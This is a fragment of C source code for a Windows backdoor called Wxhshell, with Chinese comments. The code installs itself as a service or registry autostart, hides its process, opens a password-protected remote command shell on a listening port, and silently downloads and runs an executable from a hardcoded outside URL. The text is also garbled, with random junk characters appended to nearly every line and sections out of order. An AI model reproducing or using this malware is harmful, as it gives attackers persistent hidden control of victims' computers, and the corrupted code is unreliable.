DWORD AffinityMask; .?A'6
DWORD BasePriority; ^/G?QR
ULONG UniqueProcessId; lTn;3'
ULONG InheritedFromUniqueProcessId; 5fU!'ajaN7
} PROCESS_BASIC_INFORMATION; )URwIe{
g+:$X- r
PROCNTQSIP NtQueryInformationProcess; #N; $
;_x2Ymw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C#Y,r)l
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4DvdEt
.8-PB*vb
HANDLE hProcess; )8:n}w
PROCESS_BASIC_INFORMATION pbi; K3Huu!Tr
[0K=I64
z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7}gA0fP9
if(NULL == hInst ) return 0; !>\9t9
;F|jG}M"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x<8\-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t9ER;.e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Ja0hS{*
ggMUdlU
if (!NtQueryInformationProcess) return 0; &Y 'z?N
sc<kiL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A8J?A#R*{q
if(!hProcess) return 0; ',DeP>'%>
o\d |CE;>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TV?
^c?{5
n:F@gZd`
CloseHandle(hProcess); $,!hD\a
p#)e:/Qy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Ak ^nX
if(hProcess==NULL) return 0; Nc,*hsx'
6!@0VI&P
HMODULE hMod; &.hoCPo$
char procName[255]; Lg8]dBXu
unsigned long cbNeeded; A5+q^t}
|n)<4%i8J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :#qUMiu$
0(\p<qq
CloseHandle(hProcess); .hxin[Y
q{/*n]K
if(strstr(procName,"services")) return 1; // 以服务启动 X+@s]
^Wf
S\M`
return 0; // 注册表启动 g/x_m.
} 2mQOj$Lv
)ukF3;Gt
// 主模块 rYbCOazr
int StartWxhshell(LPSTR lpCmdLine) ;jF%bE3
{ iL+y(]
SOCKET wsl; Xp#~N_S$
BOOL val=TRUE; /GyEV Cc
int port=0; o94PI*.
struct sockaddr_in door; D$ ej+s7
OqtQA#uL
if(wscfg.ws_autoins) Install(); )q^(T1
0Qt~K#mr/
port=atoi(lpCmdLine); ,b$z!dvhl
v C^>p5F
if(port<=0) port=wscfg.ws_port; ATo}FL 2
$-Cy
WSADATA data; #o~[1K+Yq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j+nv=p
(p^S~Ax
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; FbmsN)mv!%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u9BjgK(M
door.sin_family = AF_INET; k2pT1QZnt
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :fhB*SYK
door.sin_port = htons(port); *aI~W^N3
3XnE y
+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wBLsz/
closesocket(wsl); ZH!;z-R
return 1; }H5/3be
} ZxI]I1)
V>AS%lXj
if(listen(wsl,2) == INVALID_SOCKET) { JfSdUWxT
closesocket(wsl); {b[tA,
>
return 1; hw*1g m
} L -YNz0A
Wxhshell(wsl); L(;.n>/
WSACleanup(); .3( ;9};
_Cj(fFL
return 0; % oR>Uo
M= atls
} u"\=^F
Xty#vI
// 以NT服务方式启动 UP R/XQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %iX/y
{ h>| g2h
DWORD status = 0; ^zHRSO
DWORD specificError = 0xfffffff; CGkI\E
'P,,<nkr|
serviceStatus.dwServiceType = SERVICE_WIN32; ?/)lnj)e{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u|T%Xy=LU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fk aXA.JE
serviceStatus.dwWin32ExitCode = 0; UUGe"]V^g:
serviceStatus.dwServiceSpecificExitCode = 0; YlrB@mE0n$
serviceStatus.dwCheckPoint = 0; ]r!QmWw~V
serviceStatus.dwWaitHint = 0; 6A.P6DW
{79qtq%W{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rh[Ib m56
if (hServiceStatusHandle==0) return; vn ``0!FX
(m/aV
status = GetLastError(); 4
]sCr+
if (status!=NO_ERROR) ~x\Cmu9`
{ Z~_8P
serviceStatus.dwCurrentState = SERVICE_STOPPED; g9`[Y~
serviceStatus.dwCheckPoint = 0; YQ+^
serviceStatus.dwWaitHint = 0; -(
(Z@T1k
serviceStatus.dwWin32ExitCode = status; O<>#>[
serviceStatus.dwServiceSpecificExitCode = specificError; 6W$rY] h!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vcwK6G
return; i_NJ -K
} fQP,=
jAZ >mo[
serviceStatus.dwCurrentState = SERVICE_RUNNING; ![).zi+m
serviceStatus.dwCheckPoint = 0; +O4( a.
serviceStatus.dwWaitHint = 0; ZJ9x6|q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ox~ 9_d
} EDtCNqBS~2
v iJJ
e'\2
// 处理NT服务事件,比如:启动、停止 KI`11lJW~
VOID WINAPI NTServiceHandler(DWORD fdwControl) 16?C@`S>
{ (uRZxX
switch(fdwControl) >gnF]<
{ qfa}3k8et
case SERVICE_CONTROL_STOP: ~o i)Lf1
serviceStatus.dwWin32ExitCode = 0; l0:5q?g
serviceStatus.dwCurrentState = SERVICE_STOPPED; ld95[cTP
serviceStatus.dwCheckPoint = 0; 1#q^uqO0
serviceStatus.dwWaitHint = 0; zA,/@/'(
{ s%^o*LQ|9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>{p}vtvf>
} R5gado
return; dl_{iMhF&E
case SERVICE_CONTROL_PAUSE: u0g*O]Y
serviceStatus.dwCurrentState = SERVICE_PAUSED; %Lyz_2q A
break; /LF3O~Go
case SERVICE_CONTROL_CONTINUE: C 0>=x{,v
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,z G(u 1
break; %<AS?Ry
case SERVICE_CONTROL_INTERROGATE: _[F@1NJ
break; O)1E$#~
}; S+iP^*L,c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $o"g73`3
} SOs,)
rd">JEK;;
// 标准应用程序主函数 rw]yKH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .yX>.>"T|
{ |AC6sfA+
`.[ 8$
// 获取操作系统版本 P.h.MA]
OsIsNt=GetOsVer(); ?&xlT+JM
GetModuleFileName(NULL,ExeFile,MAX_PATH); K#wK1 Sv
5j`v`[B;
// 从命令行安装 Yg&`
U^7]B
if(strpbrk(lpCmdLine,"iI")) Install(); z&>|*C.Y
UGCox-W"
// 下载执行文件 gB >pd?d
if(wscfg.ws_downexe) { {@45?L('
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =zOeb/
WinExec(wscfg.ws_filenam,SW_HIDE); JjQVzkE
} J.W Ho
c
T/NjNEd#
if(!OsIsNt) { LXNQb6!
// 如果时win9x,隐藏进程并且设置为注册表启动 }PZ=`w*O
HideProc(); 79wLT\&
StartWxhshell(lpCmdLine); _ eiF@G
} 8%-%AWF]
else ;_N"Fdl
if(StartFromService()) O|7yP30?M
// 以服务方式启动 A="fj
StartServiceCtrlDispatcher(DispatchTable); p[-{]!
else k}U
JVH21k
// 普通方式启动 h0lu!m#\_
StartWxhshell(lpCmdLine); HCazwX
nE7JLtbH
return 0; SOj`Y|6^:
} X4'kZ'Sy<
OXCQfT@\
r0{]5JZt/
yl/a:Q
=========================================== Ihqs%;V
c
D7FfJ
fv2=B)8$
4.'JLArw
M(2`2-/xh
mW +tV1XjG
" .8(%4ejJ(
;UpJ=?W
#include <stdio.h> :Eo8v$W\RB
#include <string.h> wS%zWdsz
#include <windows.h> 02pplDFsM
#include <winsock2.h> hfv%,,e
#include <winsvc.h> /WYh[XKe
#include <urlmon.h> t%$@fjz
1a8$f5
#pragma comment (lib, "Ws2_32.lib") 5r7h=[N
#pragma comment (lib, "urlmon.lib") $H;+}VQ
KoF
iQ?
#define MAX_USER 100 // 最大客户端连接数 ^/a*.cu
#define BUF_SOCK 200 // sock buffer m|1n
x
#define KEY_BUFF 255 // 输入 buffer ?ZX!7^7
Up|f=@=
#define REBOOT 0 // 重启 DEtf(lW_
#define SHUTDOWN 1 // 关机 {cR3.%wX
B6%&gXr\
#define DEF_PORT 5000 // 监听端口 A?,A(-0C
J*K<FFp3<
#define REG_LEN 16 // 注册表键长度 qd8pF!u|#
#define SVC_LEN 80 // NT服务名长度 (3W&AM
x5F@ad9
// 从dll定义API Vhph`[dC{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aS/`A
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mp:m`sh*i
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'HB~Dbq`V
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /[?Jylj
&O*ENpF
// wxhshell配置信息 ]! )xr
struct WSCFG { ~6HDW
int ws_port; // 监听端口 8t[t{"
char ws_passstr[REG_LEN]; // 口令 ox4W$YdMG
int ws_autoins; // 安装标记, 1=yes 0=no Rsn^eR6^
char ws_regname[REG_LEN]; // 注册表键名 Nv3tt
char ws_svcname[REG_LEN]; // 服务名 _-TOeP8#94
char ws_svcdisp[SVC_LEN]; // 服务显示名 HsH<m j
char ws_svcdesc[SVC_LEN]; // 服务描述信息 HH zEQV Lh
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5~s{N
int ws_downexe; // 下载执行标记, 1=yes 0=no s.rT]
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;($1Z7j+
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wT/6aJoX
]/44Ygz/
}; ?!7
SzLll
c,$mWTC
// default Wxhshell configuration WjOH/$(
struct WSCFG wscfg={DEF_PORT, choL%g}
"xuhuanlingzhe", c/'M#h)"
1, wko2M[
"Wxhshell", 4m /TW)
"Wxhshell", HfZtL
"WxhShell Service", 2fbU-9Rfn
"Wrsky Windows CmdShell Service", Kj!Y K~~
"Please Input Your Password: ", OL9]*G?F
1, +* D4(
"http://www.wrsky.com/wxhshell.exe", F[]&